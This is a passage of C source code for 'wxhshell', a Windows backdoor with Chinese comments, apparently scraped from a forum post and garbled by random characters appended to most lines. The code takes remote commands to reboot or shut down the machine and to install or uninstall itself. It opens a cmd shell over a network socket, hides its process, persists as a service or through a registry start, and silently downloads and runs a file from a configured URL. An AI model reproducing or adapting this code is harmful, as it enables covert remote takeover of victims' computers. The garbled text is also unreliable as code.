  // 帮助 ZVu&q{s,  
  case '?': { ]l.y/pRP5[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lAuI?/E  
    break; H: q(T >/w  
  } 513{oM:  
  // 安装 `iuo([E d  
  case 'i': { WMfu5x7e4  
    if(Install()) }WXO[ +l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wlr/zquAE9  
    else HH/ bBM!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s\g"~2+  
    break; KsI[  
    } hQ`g B.DR  
  // 卸载 A9^t$Ii  
  case 'r': { 9qxB/5d_  
    if(Uninstall()) N q %@(K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3gZ|^h6 +  
    else  boAu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j]i:~9xKW  
    break;  mD`v>L  
    } & xOEp  
  // 显示 wxhshell 所在路径 !U38aHG  
  case 'p': { z$OKn#%T  
    char svExeFile[MAX_PATH]; 9fR`un)f}  
    strcpy(svExeFile,"\n\r"); lN"%~n?  
      strcat(svExeFile,ExeFile); *k$&U3=  
        send(wsh,svExeFile,strlen(svExeFile),0); pX3Q@3,$  
    break; *{|{T_H:  
    } Ia-`x/r*m  
  // 重启 ZaYux-0]kF  
  case 'b': { CC,_I>t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gB1w,96J  
    if(Boot(REBOOT)) `0a=A#]1o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z^s/7Va[  
    else { FTvFtdY  
    closesocket(wsh); Z}74% 9qE  
    ExitThread(0); _(=[d  
    } D0Cs g39  
    break; K cI'P(  
    } )i@j``P  
  // 关机 Dj!v+<b  
  case 'd': { &c<0g`x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }S84^2J_  
    if(Boot(SHUTDOWN)) F!m/n!YR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b?Dhhf  
    else { T;/Y/Fd  
    closesocket(wsh); 5&V0(LT]C  
    ExitThread(0); CSF-2lSG  
    } 3Z.<=D  
    break; Y] Q=kI  
    } U1zcJ l^  
  // 获取shell w6ZyMR,T  
  case 's': { VB x,q3.  
    CmdShell(wsh); ];cJIa  
    closesocket(wsh); ,CACQhrng  
    ExitThread(0); ^id9_RU   
    break; daamP$h9  
  } ]z5`!e)L  
  // 退出 yk r5bS  
  case 'x': { rGjP|v@3^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *fs'%"w-  
    CloseIt(wsh); $ {29[hO  
    break; c s0;:H*N*  
    } &fH;A X.  
  // 离开 R%7* )3$&r  
  case 'q': { -"m4 A0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]&l.-0jt  
    closesocket(wsh); M=vRy|TL  
    WSACleanup(); ?LE\pk R  
    exit(1); ,+`1/  
    break; [QC<u1/"K  
        } {Dv^j#  
  } v2X>%  
  } g5THkxp  
.9r+LA{  
  // 提示信息 tu.Tvtudzj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =*K~U# uoC  
} >kK!/#ZA  
  } f+*wDH  
*=+m;%]_  
  return; R.KqTEs<k  
} P<&-8QA  
6g\SJ O-;N  
// shell模块句柄 +C`h*%BW  
int CmdShell(SOCKET sock) |g o jb  
{ WJCh{Xn%*  
STARTUPINFO si; cRt[{ HE  
ZeroMemory(&si,sizeof(si)); ,:RHhg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v.eNWp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <Uz~V;  
PROCESS_INFORMATION ProcessInfo; A\{dq:  
char cmdline[]="cmd"; ,{4G@:Fm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _FV<[x,nE8  
  return 0; hN(sz  
} ^Rgm3?7  
U%E6"Hg  
// 自身启动模式 v4X\LsOP  
int StartFromService(void) l# -4}95  
{ j2oHwt6"  
typedef struct *{3&?pxx  
{ ;W ZA  
  DWORD ExitStatus; &c;@u?:@S  
  DWORD PebBaseAddress; WD"3W)!  
  DWORD AffinityMask; <p_r{  
  DWORD BasePriority; Z_%9LxZlyj  
  ULONG UniqueProcessId; +kh#Jq.  
  ULONG InheritedFromUniqueProcessId; Gp}:U>V)  
}   PROCESS_BASIC_INFORMATION; PQ}q5?N  
b{:c0z<  
PROCNTQSIP NtQueryInformationProcess; \>8r)xC  
#Y)Gos  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /^#8z(@B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v };r  
mFL"h  
  HANDLE             hProcess; SZGeF;N  
  PROCESS_BASIC_INFORMATION pbi; z]P =>w  
d E0 `tX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u!NY@$Wc  
  if(NULL == hInst ) return 0; I/whpOg  
v%mAU3M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g>])O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #LP38 wE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xwSi}.  
(%\vp**F  
  if (!NtQueryInformationProcess) return 0; 2(_+PQ6C=  
+ ?z=,')  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F*&A=@/3  
  if(!hProcess) return 0; HM'P<<  
/h)_Q;35S;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FiN^}Kh  
DK!QGATh  
  CloseHandle(hProcess); %/b3G*$W  
P>*B{fi^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QKj8~l(  
if(hProcess==NULL) return 0; ~Ibq,9i  
D..dGh.MY  
HMODULE hMod; 3~Qvp )~  
char procName[255]; qs96($  
unsigned long cbNeeded; ~/R,oQ1!g}  
&$\B&Hp@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4#pn ]  
6 WD(  
  CloseHandle(hProcess); %kod31X3<  
[M:ag_rm+f  
if(strstr(procName,"services")) return 1; // 以服务启动 WtT* 1Z  
KW3Dr`A  
  return 0; // 注册表启动 3ID 1>  
} JG]67v{F  
yuTSzl25,/  
// 主模块 P;A9t#\  
int StartWxhshell(LPSTR lpCmdLine)  3M5+!H  
{ U Bo[iZ|%  
  SOCKET wsl; DEdJH4  
BOOL val=TRUE; .7h:/d Y:  
  int port=0; (qf%,F,_L  
  struct sockaddr_in door; \Vc-W|e  
-i,=sZXB  
  if(wscfg.ws_autoins) Install(); z0@{5e$#Y  
,Z2fVz~9  
port=atoi(lpCmdLine); 0j =xWC  
oxs0)B  
if(port<=0) port=wscfg.ws_port; 3Pj#k|(f[0  
I$rnW  
  WSADATA data; E%A] 8y7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l ~b  
cO&(&*J r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *0EB{T1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f WUFCbSU  
  door.sin_family = AF_INET; <)D)j[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =vd9mb-  
  door.sin_port = htons(port); LSX;|#AI  
w1#1s|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !>n^ ;u  
closesocket(wsl); hd~3I4D  
return 1; JO|%Vpco  
} m %=] j<A  
m2i'$^a#  
  if(listen(wsl,2) == INVALID_SOCKET) { '@jP$6T&  
closesocket(wsl); " R=,W{=  
return 1; uR;m<wPH,f  
} fz9 ,p;b  
  Wxhshell(wsl); /t4#-vz  
  WSACleanup(); bu}N{cW  
*$+:Cbe-F  
return 0; ^]{)gk8P~2  
aMLtZ7i>  
} s-S#qGZ  
bL6, fUS  
// 以NT服务方式启动 j9voeV|7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R6xJw2;_  
{ +\Zr\fOe|%  
DWORD   status = 0; acPX2B[jJ  
  DWORD   specificError = 0xfffffff; D^\gU-8M  
wjRv =[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `dGcjLs Iz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'yIz<o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rAuv`.qEV  
  serviceStatus.dwWin32ExitCode     = 0; Ub"6OT1tl  
  serviceStatus.dwServiceSpecificExitCode = 0; 7uI~Xo ?N  
  serviceStatus.dwCheckPoint       = 0; 8|U-{"!O ?  
  serviceStatus.dwWaitHint       = 0; 0q !  
dXBXV>rbB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UtpK"U$XOU  
  if (hServiceStatusHandle==0) return; qs Uob   
lk(q>dvK  
status = GetLastError(); P { 8d.  
  if (status!=NO_ERROR)  f^vz  
{ D.ajO^[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [VL+X^  
    serviceStatus.dwCheckPoint       = 0; >3,t`Z:  
    serviceStatus.dwWaitHint       = 0; V 5  
    serviceStatus.dwWin32ExitCode     = status; fxcCz 5  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5 `Mos  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Y[q2b  
    return; *~b}]M700  
  } 7)FI_uW  
"m'roU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8b!-2d:*  
  serviceStatus.dwCheckPoint       = 0; U6sPJc<  
  serviceStatus.dwWaitHint       = 0; $={^':Uh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v;_k*y[VV$  
} c_RAtM<n  
Y`tv"v2  
// 处理NT服务事件,比如:启动、停止 61*inGRB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;q ;}2  
{ %1jlXa  
switch(fdwControl) ` yXJaTbo  
{ -Y:^<C^^&8  
case SERVICE_CONTROL_STOP: q'zV9  
  serviceStatus.dwWin32ExitCode = 0; H\[:uUK5\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zmEg4v'I  
  serviceStatus.dwCheckPoint   = 0; B}|(/a@*  
  serviceStatus.dwWaitHint     = 0; 1#OM~v6B  
  { <aVfgVS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ug=)_~  
  } '{ I YANVT  
  return; HZ8k%X}1  
case SERVICE_CONTROL_PAUSE: TQjM3Ri=V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \y\@=j  
  break; uLK4tQ  
case SERVICE_CONTROL_CONTINUE: q<2b,w==  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ML= :&M!ao  
  break; zo{WmV7[|  
case SERVICE_CONTROL_INTERROGATE: jy kY8;4  
  break; hOTqbd}  
}; to%n2^^K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X61p xPa  
} x[w!buV0\  
uz8Y)b  
// 标准应用程序主函数 ^@a|s Sb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l^"HcP6  
{ >qT4'1S*g  
 Q&d"uLsx  
// 获取操作系统版本 v? VNWK2  
OsIsNt=GetOsVer(); QaAWO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $RJpn]d j  
h,u?3}Knnb  
  // 从命令行安装 ?--EIA8mfp  
  if(strpbrk(lpCmdLine,"iI")) Install(); dEuts*@ Q  
nYF;.k  
  // 下载执行文件 yo=0Ov  
if(wscfg.ws_downexe) { 4a6WQVS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pk&;5|cCD  
  WinExec(wscfg.ws_filenam,SW_HIDE); WdvXVF  
} 8F#z)>q~  
q8 _8rp-@  
if(!OsIsNt) { = "N?v-  
// 如果时win9x,隐藏进程并且设置为注册表启动 kTQvMa-X9D  
HideProc(); @UG%B7  
StartWxhshell(lpCmdLine); &qO#EEqG]  
} ~$ FgiW  
else ;xKPa6`E  
  if(StartFromService()) %l.5c Sn@  
  // 以服务方式启动 K>a+-QWK3  
  StartServiceCtrlDispatcher(DispatchTable); ;I5u"MDHGI  
else ),u)#`.l G  
  // 普通方式启动 +YA,HhX9  
  StartWxhshell(lpCmdLine); X\yy\`o  
v.~uJ.T  
return 0; `uN}mC!r]  
}
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只看该作者 1 发表于: 2006-10-10
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